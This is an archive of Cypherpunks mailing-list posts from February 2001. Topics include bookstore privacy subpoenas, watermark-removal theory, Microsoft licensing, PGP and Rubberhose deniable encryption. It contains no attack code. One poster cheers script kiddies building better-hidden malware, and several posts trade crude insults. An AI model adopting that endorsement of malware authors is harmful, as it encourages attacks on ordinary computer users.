like juicy-fruit.

Is your claim the 1st is based on a 'privacy' argument? I'd like to hear
it.

As to 'privacy' refer to to the 4th, 5th, 9th, & 10th to understand why
the 'privacy' argument as tendered by Declan and others is so full of
holes it'd make good Swiss cheese.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at EINSTEIN.ssz.com  Wed Feb 14 05:37:49 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 07:37:49 -0600 (CST)
Subject: DCSB: Steven Levy; How the Crypto Rebels Won (fwd)
Message-ID: <Pine.LNX.3.96.1010214073746.356r-100000@einstein.ssz.com>

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From roy at scytale.com  Wed Feb 14 06:25:51 2001
From: roy at scytale.com (Roy Silvernail)
Date: Wed, 14 Feb 2001 08:25:51 -0600
Subject: Zimmerman and Hayden, sitting in a tree...
Message-ID: <002401c09692$09e443c0$1301a8c0@rms.acroloop.com>


>CBS this morning was repeating a segment apparently
>from last night's Sixty Minutes show, on the NSA,
>PGP and /bin/laden.

Saw it last night.  s/Bin Laden/Goldstein/g would have run without error.

>Quick, what was Zimmerman's answer when asked what he
>thought about the bad guys being able to use PGP?

Not sure how to react to that.  I thought CBS was trying very hard to cast
Phil in a bad light, and his answer was the only one he could have given
that wouldn't have hit the cutting room floor.

>    Linux advocates should announce Windows XP
>    is the time to switch to Linux permanently.

Concur.  MICROS~1 is moving steadily toward a secured platform that gives
them full control of what will and won't run.  Were it up to them, there
would be no third-party development.  Ironic, considering third-party
development has played such a large part in their rise to ubiquity.
--
Roy M. Silvernail
Proprietor, scytale.com
roy at scytale.com





From bill.stewart at pobox.com  Wed Feb 14 08:51:57 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 14 Feb 2001 08:51:57 -0800
Subject: April RSA, Cypherpunks Meeting Schedule - Request for Comments?
Message-ID: <3.0.5.32.20010214085157.00958ae0@idiom.com>

The 2001 RSA Security Conference will be April 8-12 in San Francisco.
	http://www.rsasecurity.com/conference/

The Bay Area Cypherpunks monthly meeting is normally the second Saturday,
except when there are major conferences in town.
If you're visiting the area that week, are you likely to be here
for the weekend of the 7th or the 14th?

Enough Usual Suspects are expected to be in town the 7th that 
if we don't move the meeting, we'll probably do a get-together
at a nearby brewpub.

Passover starts the weekend of the 7th/8th and ends the weekend of the 14th;
Easter is the 15th.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From roy at scytale.com  Wed Feb 14 07:43:03 2001
From: roy at scytale.com (Roy Silvernail)
Date: Wed, 14 Feb 2001 09:43:03 -0600
Subject: Zimmerman and Hayden, sitting in a tree...
Message-ID: <000401c0969c$d807d370$1301a8c0@rms.acroloop.com>


Tom wrote:


>Roy Silvernail wrote:


>> Concur.  MICROS~1 is moving steadily toward a secured platform that gives
>> them full control of what will and won't run.  Were it up to them, there
>> would be no third-party development.  Ironic, considering third-party
>> development has played such a large part in their rise to ubiquity.
>
>I doubt they want to get rid of 3rd parties. but I bet that someone had
>a wet dream about "run-license-fees" in addition to money for
>development kits and MCSE batches. so, the future for M$ may be even
>MORE 3rd party developers - but unless they ship, say, $1 to M$ per copy
>sold, their software simply won't run. oops.

Good point.  Do you think there is a critical mass point where developers
would "just say no", though?  Certainly this would tend to push out smaller
independents and could do major damage to freeware.  I'd be much less
inclined to write for an OS where I had to pay for the privelege of running,
even though I wanted to give my software away.  I hadn't planned any
Whistler/XP apps anyway, and this just reinforces my decision.

>in short: if the software doesn't trust you anymore, you have ample
>reason to distrust the software in return.

I couldn't agree more!
--
Roy M. Silvernail
Proprietor, scytale.com
roy at scytale.com





From decoy at iki.fi  Tue Feb 13 23:52:19 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Wed, 14 Feb 2001 09:52:19 +0200 (EET)
Subject: watermarking sucks (Re: stego for the censored II)
In-Reply-To: <20010211130717.A69658@cypherpunks.ai>
Message-ID: <Pine.SOL.4.30.0102140949140.6648-100000@kruuna.Helsinki.FI>


On Sun, 11 Feb 2001, Adam Back wrote:

>I think a watermark is more likely to be keyed.  Without the key
>it's a bit harder to be sure to remove the watermark without affecting
>the quality of the image.  With the key you can tell which parts of
>the message to remove.

Of course. The point was that using a watermarking system as-is makes the
keys available, and if you appropriate just the stego part, any party with
keys available will see that the watermark is not valid and probably hides
other data.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From rah at shipwright.com  Wed Feb 14 01:52:21 2001
From: rah at shipwright.com (R. A. Hettinga)
Date: Wed, 14 Feb 2001 09:52:21 +0000
Subject: DCSB: Steven Levy; How the Crypto Rebels Won
Message-ID: <mailman.364.1576007496.31620.cypherpunks-legacy@lists.cpunks.org>

-----BEGIN PGP SIGNED MESSAGE-----

[Note that the Harvard Club is now "business casual". No more jackets
and ties -- while it lasts, anyway :-)... --RAH]


          The Digital Commerce Society of Boston

                         Presents
                       Steven Levy,
                          Author,
             Senior Editor, _Newsweek_ Magazine


                "How the Crypto Rebels Won"

                 Tuesday, March 6th, 2000
                         12 - 2 PM
              The Downtown Harvard Club of Boston
                One Federal Street, Boston, MA



How a group of outsiders envisioned a need for wide-spread
cryptography and then took on two daunting missions: providing
unprecedented tools to make this happen, and fighting the government
for the right to distribute the tools.


Steven Levy is a senior editor at Newsweek and author of CRYPTO: HOW
THE CODE REBELS BEAT THE GOVERNMENT, SAVING PRIVACY IN THE DIGITAL
AGE. He is also author of four other books including HACKERS,
ARTIFICIAL LIFE, INSANELY GREAT, and THE UNICORN'S SECRET, and have
contributed to many other publications.



This meeting of the Digital Commerce Society of Boston will be held
on Tuesday, March 6th, 2000, from 12pm - 2pm at the Downtown Branch
of the Harvard Club of Boston, on One Federal Street. The price for
lunch is $35.00. This price includes lunch, room rental, A/V hardware
if necessary, and the speakers' lunch. The Harvard Club has relaxed
its dress code, which is now "business casual", meaning no sneakers
or jeans. Fair warning: since we purchase these luncheons in advance,
we will be unable to refund the price of your meal if the Club finds
you in violation of what's left of its dress code.


We need to receive a company check, or money order, (or, if we
*really* know you, a personal check) payable to "The Harvard Club of
Boston", by Saturday, March 3rd, or you won't be on the list for
lunch. Checks payable to anyone else but The Harvard Club of Boston
will have to be sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The
Harvard Club of Boston", in the amount of $35.00. Please include your
e-mail address so that we can send you a confirmation

If anyone has questions, or has a problem with these arrangements
(we've had to work with glacial A/P departments more than once, for
instance), please let us know via e-mail, and we'll see if we can
work something out.


Upcoming speakers for DCSB are:

April 3  Scott Moskowitz  Watermarking and Bluespike


As you can see, :-), we are actively searching for future speakers.
If you are in Boston on the first Tuesday of the month, are a
principal in digital commerce, and would like to make a presentation
to the Society, please send e-mail to the DCSB Program Committee,
care of Robert Hettinga, <mailto: rah at shipwright.com>.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQEVAwUBOopVR8UCGwxmWcHhAQGC0wf+Iu5psvIFhQiFdzJhhy2t2ftYtCUwtxe0
jUcfdU+tlzzUNhOaQzbv4ld1+VhpmAGhjtnbrc31SEUqSvdGJeq3xTSyazJHfo8d
JO0A5+cdPMYGEd/vD2PH86WcP36/zc6y57PjVZ30dkcrp554mM3s4UKPDTBZW/aX
1kyDtEBK/vHQblt01n5bVU+fCEJYRRV3qP0et3NebGZM4OP9+ehs92+nnd+4bsqN
qdGhgZqlsVLlwA9jEkrC0IsrypAqw/Xbxfubof4ys08/UALBNgGY+3dNFhtFmjnG
Pq8Jwhvu7CffqLbxFkON/pNu2KtFBBZLx8xep98NyP3a2lllbsCzmA==
=E2LW
-----END PGP SIGNATURE-----
-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from this list, send a letter to: Majordomo at reservoir.com
In the body of the message, write:  unsubscribe dcsb-announce
Or, to subscribe,           write:  subscribe dcsb-announce
If you have questions, write to me at Owner-DCSB at reservoir.com

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From hseaver at arrowhead.lib.mn.us  Wed Feb 14 07:52:25 2001
From: hseaver at arrowhead.lib.mn.us (Harmon Seaver)
Date: Wed, 14 Feb 2001 09:52:25 -0600
Subject: Here you have, ;o)
In-Reply-To: <02d601c09628$5bec87a0$0100a8c0@golem>
References: <20010212213733.A89524@cypherpunks.ai><000c01c09559$9f9453e0$3c5efea9@vin><20010212213733.A89524@cypherpunks.ai> <3.0.5.32.20010213120005.00ab1e10@idiom.com> <01b101c09600$62fa2160$0100a8c0@golem> <20010213192547.A7291@positron.mit.edu> <02d601c09628$5bec87a0$0100a8c0@golem>
Message-ID: <20010214095225.A19853@mail.arrowhead.lib.mn.us>


On Tue, Feb 13, 2001 at 08:49:22PM -0500, Me wrote:
> View->[X] Hide file extensions for known file types
> 
> If there is another option that alters this, or overrides it in OE5, I do not
> know of it and have not changed it from it's default.
> 
   So who really gives a rat's ass what windoze lamers set their shitty OS to
do one way or another? Duh! Why spam the list with this crap? Here's to the 
script kiddies -- may they live long and fruitful lives, creating more
and better (and better hidden) fun things! 




From aimee.farr at pobox.com  Wed Feb 14 09:26:49 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Wed, 14 Feb 2001 11:26:49 -0600
Subject: not Andy Kaufmann, more like...
Message-ID: <NEBBJHBKILFDJEFIABHPKEJBCCAA.aimee.farr@pobox.com>


Sherlock Holmes.

> say utterly outrageous things simply in order to "tweak" the presumed
> eavesdroppers or scare away people whom they regard as too timid to
> be worth talking to anyhow. It's best interpreted as performance art
> after the style of Andy Kaufmann.

It's also good spooksense: If "it" has no ego, "it" has an objective. If you
were to read May's comments to me with an eye between the lines, you might
see the true nature of my humiliation; ...but probably not. I like to think
I'm giving May overmuch credit;...but probably not.

   Aimee




From commerce at home.com  Wed Feb 14 08:27:45 2001
From: commerce at home.com (Me)
Date: Wed, 14 Feb 2001 11:27:45 -0500
Subject: Here you have, ;o)
References: <20010212213733.A89524@cypherpunks.ai><000c01c09559$9f9453e0$3c5efea9@vin><20010212213733.A89524@cypherpunks.ai> <3.0.5.32.20010213120005.00ab1e10@idiom.com> <01b101c09600$62fa2160$0100a8c0@golem> <20010213192547.A7291@positron.mit.edu> <02d601c09628$5bec87a0$0100a8c0@golem> <20010214095225.A19853@mail.arrowhead.lib.mn.us>
Message-ID: <009201c096a3$102f60f0$0100a8c0@golem>


And, if you are so concerned about CP's purity of discussion, why are you
cluttering it with this?

If you need instructions on how to use a mail-filter, I would be happy to
help.

From: "Harmon Seaver" <hseaver at arrowhead.lib.mn.us>
> So who really gives a rat's ass what windoze lamers set their shitty OS to
> do one way or another? Duh! Why spam the list with this crap? Here's to the
> script kiddies -- may they live long and fruitful lives, creating more
> and better (and better hidden) fun things!





From decoy at iki.fi  Wed Feb 14 01:32:04 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Wed, 14 Feb 2001 11:32:04 +0200 (EET)
Subject: watermarking sucks (Re: stego for the censored II)
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A91EB9B@exna07.securitydynamics.com>
Message-ID: <Pine.SOL.4.30.0102141124590.14369-100000@kruuna.Helsinki.FI>


On Mon, 12 Feb 2001, Trei, Peter wrote:

>I realize that this is *slightly* simplistic, but comparing 2
>(preferably 3 or more) copies of the data with different
>watermark contents should quickly reveal where and what
>constitutes the watermarking.

Not really. If the original version is not available, a properly constructed
watermark will basically amount to a noise component. Comparing two noisy
versions of the same data will not give you enough statistics to recover the
noise completely. Averaging attacks (averaging over multiple independently
marked copies to try and fade out the mark; an optimal attack if the marks
are independent and flatly distributed) can be seen as a channel
distortion, which isn't too difficult to compensate for, with sufficient
redundancy in the mark. A good watermarking scheme resists averaging over
ten or twenty independently marked copies. Beyond this, it becomes quite
difficult to find paying customers ready to participate in collusion on a
regular basis. Anyway, this is what CRM people are counting on.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From Editor at WebmasterSweeps.com  Wed Feb 14 11:50:38 2001
From: Editor at WebmasterSweeps.com (WebmasterSweeps.com)
Date: Wed, 14 Feb 2001 11:50:38 -0800 (PST)
Subject: 3 Clicks for a Buck! - No 3rd Party Tracking!
Message-ID: <200102141950.LAA22824@cyberpass.net>

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From madmullah at crosswinds.net  Wed Feb 14 08:58:22 2001
From: madmullah at crosswinds.net (madmullah)
Date: Wed, 14 Feb 2001 11:58:22 -0500
Subject: Possession of stolen books - an example
References: <Pine.LNX.4.10.10101101206260.17413-100000@clueserver.org>
Message-ID: <3A8AB92E.FC80F61F@crosswinds.net>


Alan Olsen wrote:
> The reason for this is that if the cover is ripped off the book in that
> manner, it is usually one that has been "stripped".  That is when a
> paperback is reported as "not sold" and instead of sending the books back,
> they just send the front covers for a refund.  

In most cases they are not destroyed, rather the usual SOP is to chuck
them in a box , and chuck the box into a dumpster.

Whereupon dumpster divers, of course, will often grab them and sell them
to used bookstores.




From gil_hamilton at hotmail.com  Wed Feb 14 12:57:32 2001
From: gil_hamilton at hotmail.com (Gil Hamilton)
Date: Wed, 14 Feb 2001 12:57:32 
Subject: freedomforum.org: Federal judge quashes subpoena for...
Message-ID: <F72Zi6i9J1Mm3xFKGqv0000807d@hotmail.com>


John Young writes:
>The only people scuzzier than scum reporters, lawyers,
>politicians, bureaucrats, cops, pederasts, communazis,
>feminazis, other-color-skinneds, you know, the most
>hated of your stupid clan, are those who hate them due to cross-wired 
>brains, of which I am a proud holder
>one of.
>
>Why without those others to loath I'd have only myself
>with this diamondback up my ass put there by momma,
>a fun lover, to tell me from her other litters she didn't know whose was 
>whose, and "didn't give a flying" she'd puke lolling a dry tit bit by those 
>you'd never call
>bro and sis and paw and our sacred kind.

Ahhh!  I feel better!  Many months had passed since our last
good shot of JYism. (;-)

Some of you may not appreciate...
but IMO John Young is supremely gifted.
(call it cross-wired, or warped, or twisted, but "lolling a dry
tit bit by...."?  what great imagery!)

- GH

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From decoy at iki.fi  Wed Feb 14 03:55:45 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Wed, 14 Feb 2001 13:55:45 +0200 (EET)
Subject: freedomforum.org: Federal judge quashes subpoena for  Kansas
 bookstore's sales records
In-Reply-To: <Pine.LNX.3.96.1010213180443.356d-100000@einstein.ssz.com>
Message-ID: <Pine.SOL.4.30.0102141349350.16206-100000@kruuna.Helsinki.FI>


On Tue, 13 Feb 2001, Jim Choate wrote:

>It isn't the store that's being protected. It's the purchaser of the
>book, the reader to wit. To force a person to reveal their reading habits
>violates the 1st because it infringes both speech and press.

But why should this be limited to the book stores? The same should go for
laudries etc. In this sense we *are* talking about privileges to those
dealing with 1st Amendment protected material, like the press and book
stores. Declan's problem obviously is that while free speech has
constitutional protection in itself, here *privacy* is protected only via
extension of the 1st Amendment protection. This isn't enough.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From ravage at EINSTEIN.ssz.com  Wed Feb 14 13:14:49 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 15:14:49 -0600 (CST)
Subject: rubberhose.com (was Re: NTK now, 2000-02-09) (fwd)
Message-ID: <Pine.LNX.3.96.1010214151440.356t-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 12 Feb 2001 10:24:44 -0500
From: "R. A. Hettinga" <rah at shipwright.com>
To: Digital Bearer Settlement List <dbs at philodox.com>, dcsb at ai.mit.edu,
    cryptography at c2.net
Subject: rubberhose.com (was Re: NTK now, 2000-02-09)

At 11:22 AM -0800 on 2/9/01, Danny O'Brien wrote:


>  Accusing us of "doting on my six year old childhood
>          peccadilloes", JULIAN ASSANGE, co-author of THE UNDERGROUND
>          and, we dotifully include, THE DAN FARMER RAP, directs our
>          attention as "citizen[s] of totalitarian England", to
>          RUBBERHOSE, his fine two-year-old toddler of a "deniable
>          encryption" system. In Assange's own sweet, twisted way,
>          Rubberhose is named after the decryption tactic it attempts
>          to defeat: Rubberhose Cryptanalysis, in which suspects are
>          exposed to repeated rounds of the "kick to the head" attack
>          until their password is revealed. Rubberhose thwarts this by
>          allowing a large number of encrypted messages to be stored
>          on the same drive, each encoded with a different password.
>          The total number of levels is unknown, so when Commandante
>          Plodista requests your passphrase, you can happily give him
>          the password to the lowest level (or three), confident that
>          noone can ever prove that this isn't *all* the data you have
>          on the drive. Along with StegFS, it's another recommended
>          RIP-bypasser. Unless you really are under risk of being
>          beaten up, in which case, we'll re-pose the FAQ: won't
>          rational torturers just beat you up *forever*? Anyone want
>          to pick up on the in-the-field research here?
>          http://www.rubberhose.org/
>                      - smart civil rights groups stick with Linux 2.2
>          http://www.rubberhose.org/current/src/doc/beatings.txt
>               - taking "prisoner's dilemma" out of labs, into prisons
>          http://www.dataguard.no/bugtraq/1995_2/0194.html
>                                      - hold on, if he was six in 1995...

-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From ravage at EINSTEIN.ssz.com  Wed Feb 14 13:18:23 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 15:18:23 -0600 (CST)
Subject: Possession of stolen books - an example
In-Reply-To: <3A8AB92E.FC80F61F@crosswinds.net>
Message-ID: <Pine.LNX.3.96.1010214151752.356B-100000@einstein.ssz.com>



On Wed, 14 Feb 2001, madmullah wrote:

> Whereupon dumpster divers, of course, will often grab them and sell them
> to used bookstores.

Who aren't supposed to be buying them.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From bear at sonic.net  Wed Feb 14 15:40:59 2001
From: bear at sonic.net (Ray Dillinger)
Date: Wed, 14 Feb 2001 15:40:59 -0800 (PST)
Subject: Zimmerman and Hayden, sitting in a tree...
In-Reply-To: <3A8A9C0B.7290BEAD@ricardo.de>
Message-ID: <Pine.LNX.4.21.0102141538190.7674-100000@bolt.sonic.net>




On Wed, 14 Feb 2001, Tom wrote:

>in short: if the software doesn't trust you anymore, you have ample
>reason to distrust the software in return.


Hmm, editing to bumpersticker length:

"If the software doesn't trust you, why do you trust the software?"

An excellent point indeed, and a slogan for people coping with 
pain-in-the-butt software. 

				




From tom at ricardo.de  Wed Feb 14 06:54:03 2001
From: tom at ricardo.de (Tom)
Date: Wed, 14 Feb 2001 15:54:03 +0100
Subject: Zimmerman and Hayden, sitting in a tree...
References: <002401c09692$09e443c0$1301a8c0@rms.acroloop.com>
Message-ID: <3A8A9C0B.7290BEAD@ricardo.de>


Roy Silvernail wrote:
> >    Linux advocates should announce Windows XP
> >    is the time to switch to Linux permanently.
> 
> Concur.  MICROS~1 is moving steadily toward a secured platform that gives
> them full control of what will and won't run.  Were it up to them, there
> would be no third-party development.  Ironic, considering third-party
> development has played such a large part in their rise to ubiquity.

I doubt they want to get rid of 3rd parties. but I bet that someone had
a wet dream about "run-license-fees" in addition to money for
development kits and MCSE batches. so, the future for M$ may be even
MORE 3rd party developers - but unless they ship, say, $1 to M$ per copy
sold, their software simply won't run. oops.

10:1 that there will also be a deactivation feature. so the next DeCSS,
asfrecorder or other thought-crime can be remotely disabled.

just think about the potential! possible marketing lines include: "100%
guaranteed virus resistant!" and, of course, "multimedia experience".
but behind the scenes, practically anything that M$ or someone who can
pay them enough for the favour doesn't like can be disabled. say that
plugin which encrypts your passwords before storing them on the disk. of
course, the program has a fallback to write plaintext passwords if it
can't save encrypted ones...

in short: if the software doesn't trust you anymore, you have ample
reason to distrust the software in return.




From ravage at EINSTEIN.ssz.com  Wed Feb 14 14:08:29 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 16:08:29 -0600 (CST)
Subject: Ah, now I catch Declan's trick
Message-ID: <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>



He posted a comment the other day about my sending private notes was
unwaranted in responce to comments made on the public list.

I was wondering why he got them at all because previously he hadn't been
receiving them. Well today I made the same mistake, I didn't look at the
header until after I'd sent it. Then I realized that Declan is now sending
these messages not only to the list, but to me privately (something he
says is against netiquette?), something he wasn't doing before. The
private messages bubble to the top first so I reply to them. I was also
wondering why I was getting multiple copies of his inbound too.

So, if Declan would please forward the responce to his public post back to
the list (and send his commentary w/o me cc:'ed specificaly please) we can
proceed with a reasonably civil debate until he finds something else to
play with instead of the topic at hand.

    ____________________________________________________________________

                 One World, One Web, One Program - Microsoft

                 Ein Volk, Ein Reich, Ein Fuhrer - Hitler

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From declan at well.com  Wed Feb 14 13:18:00 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 Feb 2001 16:18:00 -0500
Subject: freedomforum.org: Federal judge quashes subpoena for  Kansas bookstore's sales records
In-Reply-To: <Pine.LNX.3.96.1010213180443.356d-100000@einstein.ssz.com>; from ravage@ssz.com on Tue, Feb 13, 2001 at 06:19:50PM -0600
References: <5.0.2.1.0.20010213184008.02476160@mail.well.com> <Pine.LNX.3.96.1010213180443.356d-100000@einstein.ssz.com>
Message-ID: <20010214161800.C28033@cluebot.com>


On Tue, Feb 13, 2001 at 06:19:50PM -0600, Jim Choate wrote:
> It isn't the store that's being protected. It's the purchaser of the
> book, the reader to wit. To force a person to reveal their reading habits

Same principle. Why should book buyers deserve more privacy than
condom buyers? Your thinking is muddled. I've already stipulated
that civil/criminal discovery is far too broad in the U.S.

> Journalist are scum (like lawyers) they sell their integrity, they deserve
> no protection and actually get none. If you look at the history and

Hahahahahahahaha.

-Declan




From declan at well.com  Wed Feb 14 13:19:08 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 Feb 2001 16:19:08 -0500
Subject: freedomforum.org: Federal judge quashes subpoena for  Kansas bookstore's sales records
In-Reply-To: <Pine.SOL.4.30.0102141349350.16206-100000@kruuna.Helsinki.FI>; from decoy@iki.fi on Wed, Feb 14, 2001 at 01:55:45PM +0200
References: <Pine.LNX.3.96.1010213180443.356d-100000@einstein.ssz.com> <Pine.SOL.4.30.0102141349350.16206-100000@kruuna.Helsinki.FI>
Message-ID: <20010214161908.D28033@cluebot.com>


On Wed, Feb 14, 2001 at 01:55:45PM +0200, Sampo Syreeni wrote:
> But why should this be limited to the book stores? The same should go for
> laudries etc. In this sense we *are* talking about privileges to those
> dealing with 1st Amendment protected material, like the press and book
> stores. Declan's problem obviously is that while free speech has
> constitutional protection in itself, here *privacy* is protected only via
> extension of the 1st Amendment protection. This isn't enough.

That's a nice way to word it, and sums my thoughts up nicely.

-Declan




From atek3 at gmx.net  Wed Feb 14 16:50:46 2001
From: atek3 at gmx.net (atek3)
Date: Wed, 14 Feb 2001 16:50:46 -0800
Subject: Slashdot | European Record Industry Goes After Personal Computers
References: <3A8B16CB.70ECDB6E@ssz.com>
Message-ID: <005d01c096e9$5fb7c7c0$6975e5a9@Reshall.berkeley.edu>


What a bunch of lame ass looters, at least metallica pretends to take the
moral high ground.  These pieces of shit want to levy idiotic taxes because
"its simple"
Screw theses leftists.  Articles like this remind me to pray every night
that I don't wake up in the People's Republic of Europe.
Bleh,
Atek

>Rock groups like Bvhse Onkelz are skeptical about the value of computer
fees, but they want >them anyway.
>
>Founded in 1980, the group soon became infamous for expletive-filled songs
on subjects >ranging from drug- dealing and street-fighting to harassing
foreign immigrants. Indeed, some >music critics have charged that the group
harbored sympathy for right-wing, neo-Nazi >extremists, a charge adamantly
denied.
>
>"I don't think fees on computer equipment will do anything to stop the
bootleggers," said Mr. >Weidner, the group's lead composer, adding that his
group would probably get little added >revenue. "Despite that, I would be in
favor of the fees, because at least they have the virtue of .being simple."

----- Original Message -----
From: "Jim Choate" <ravage at ssz.com>
To: <cypherpunks at einstein.ssz.com>; <hell at einstein.ssz.com>;
<sci-tech at einstein.ssz.com>
Sent: Wednesday, February 14, 2001 3:37 PM
Subject: CDR: Slashdot | European Record Industry Goes After Personal
Computers


> http://slashdot.org/articles/01/02/14/204235.shtml
> --
>     ____________________________________________________________________
>
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
>
>                                            "Stranger Suns"
>                                            George Zebrowski
>
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
>




From declan at well.com  Wed Feb 14 13:52:35 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 Feb 2001 16:52:35 -0500
Subject: freedomforum.org: Federal judge quashes subpoena
  for  Kansas bookstore's sales records
In-Reply-To: <Pine.LNX.3.96.1010214154508.356I-100000@einstein.ssz.com>
References: <20010214161800.C28033@cluebot.com>
Message-ID: <5.0.2.1.0.20010214165119.02047040@mail.well.com>


Jim, once again you've sent a private message to me and sent ANOTHER one to 
the list. I explicitly asked you not to do it earlier this week; one more 
and I will (no joke) killfile you. Procmail is my friend.

At 03:58 PM 2/14/01 -0600, Jim Choate wrote:
>"Congress shall make no law respecting the act of sex."

Sigh. Read up on the doctrine of enumerated powers.

-Declan




From Action_Stocks at email.com  Wed Feb 14 17:24:16 2001
From: Action_Stocks at email.com (Action Stocks)
Date: Wed, 14 Feb 2001 17:24:16
Subject: Membership will be terminated.
Message-ID: <200102150124.f1F1Obq09937@ak47.algebra.com>


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>From time to time, the Company may issue news releases that contain "forward-looking 
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From declan at well.com  Wed Feb 14 14:29:39 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 Feb 2001 17:29:39 -0500
Subject: Senator tries to ban sale of SSNs by banks
Message-ID: <5.0.2.1.0.20010214172910.00a83900@mail.well.com>



      FOR IMMEDIATE RELEASE
      For More Information Contact:
      FEBRUARY 14, 2001
      Andrea Andrews (202) 224-6518

      SHELBY INTRODUCES SOCIAL SECURITY NUMBER PRIVACY PROTECTION
      LEGISLATION

      Bill Prohibits the Sale and Purchase of Social Security Numbers by
      Financial Institutions


         WASHINGTON, DC -- U.S. Senator Richard C. Shelby (R-AL) today
      introduced legislation that would prevent the unauthorized disclosure
      of Social Security numbers.

         Senator Shelby's "Social Security Privacy Act of 2001" would
      prohibit the sale and purchase of an individual's Social Security
      number by financial institutions.  The legislation would include
      Social Security numbers as "nonpublic personal information" subject to
      the privacy protections of the Gramm-Leach-Bliley Act.
			
         "I believe Congress has a duty to stop Social Security numbers from
      being bought and sold like some common commodity," said Shelby.
      "Social Security numbers are key to just about all the personal
      information concerning an individual.  While Congress waits to act,
      the easy access and extreme availability of our personal information
      has lead to fraud, abuse, identity theft and in the more extreme
      cases-stalking and death."

         "I do not know anyone in this country who believes financial
      institutions should be making money by trafficking in our Social
      Security numbers," added Shelby.  "The longer we wait to act on this
      issue-an issue supported by a vast majority of Americans-the more the
      American people lose confidence in the U.S. Congress and our ability
      to lead."


      - 30 -




From ravage at EINSTEIN.ssz.com  Wed Feb 14 15:37:47 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 17:37:47 -0600
Subject: Slashdot | European Record Industry Goes After Personal Computers
Message-ID: <3A8B16CB.70ECDB6E@ssz.com>


http://slashdot.org/articles/01/02/14/204235.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From bear at sonic.net  Wed Feb 14 18:27:16 2001
From: bear at sonic.net (Ray Dillinger)
